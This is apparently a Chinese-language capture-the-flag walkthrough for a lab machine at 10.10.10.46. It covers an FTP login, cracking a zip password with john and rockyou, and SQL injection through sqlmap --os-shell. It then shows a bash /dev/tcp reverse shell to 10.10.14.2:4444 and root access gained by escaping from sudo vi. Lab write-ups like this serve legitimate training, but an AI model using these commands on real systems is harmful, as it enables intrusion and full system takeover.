3. hack之sql注入
扫描端口
nmap -p- --min-rate=1000 -T4 10.10.10.46
发现有ftp端口
登陆ftp服务器
通过ftpuser / mc@F1l3ZilL4
登陆ftp服务器,下载文件backup.zip
,发现解压需要密码
破解解压密码
zip2john
sudo zip2john backup.zip > passwd.bash
rockyou
- 解压
/usr/share/wordlists/rockyou.txt.gz
gzip -d rockyou.txt.gz
- 破解密码
john passwd.bash --fork=4 -w rockyou.txt
输出
Waiting for 3 children to terminate
741852963 (backup.zip)
4 0g 0:00:00:00 DONE (2020-08-09 22:40) 0g/s 88600p/s 88600c/s 88600C/s miki..newcourt
2 1g 0:00:00:00 DONE (2020-08-09 22:40) 100.0g/s 64000p/s 64000c/s 64000C/s chacha..dilbert
3 0g 0:00:00:00 DONE (2020-08-09 22:40) 0g/s 88700p/s 88700c/s 88700C/s mail..sss
即密码为741852963;发现index.php文档中的账号密码为admin/2cb42f8734ea607eefed3b70af13bbd3
- 反向破解md5
即密码为qwerty789
sql注入
判断是否可注入
由此大致得出sql为select * from cars where name like '%$1%'
sqlmap
-
获取请求cookie
-
检查注入
sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=c449ks855g4qch19juu967s63j"
发现后端db为PostgreSQL,并且存在注入风险
os-shell
sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=c449ks855g4qch19juu967s63j" --os-shell
xbox虚拟机监听端口
nc -lvnp 4444
os-shell访问4444并执行命令
bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'
表示以交互方式(-i)与10.10.14.2:4444创建tcp连接
在nc 4444窗口中执行命令
whoami
如果一直连接不上,有可能是postgres停止服务了
权限提升
查看文件内容
cat /var/www/html/dashboard.php
发现账号/密码为postgres/P@s5w0rd!
密码可用于执行sudo 提升权限
- sudo -l
postgres@vaccine:/var/lib/postgresql/11/main$ sudo -l
sudo -l
sudo: no tty present and no askpass program specified
sudo -l
显示可执行sudo操作的文件列表,具体在/etc/sudoers中配置,如果有可以sudo的文件,则在vi编辑该文件时,通过!/bin/bash
可通过suid执行bash操作
- pty
python3 -c "import pty;pty.spawn('/bin/bash')" - 再次执行sudo -l
如果网络可直接访问,则在本地ssh进入服务器
ssh postgres@10.10.10.46 -p 22
- 在vi在命令行模式下输入
:!/bin/bash
;返回桌面后即为root用户
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf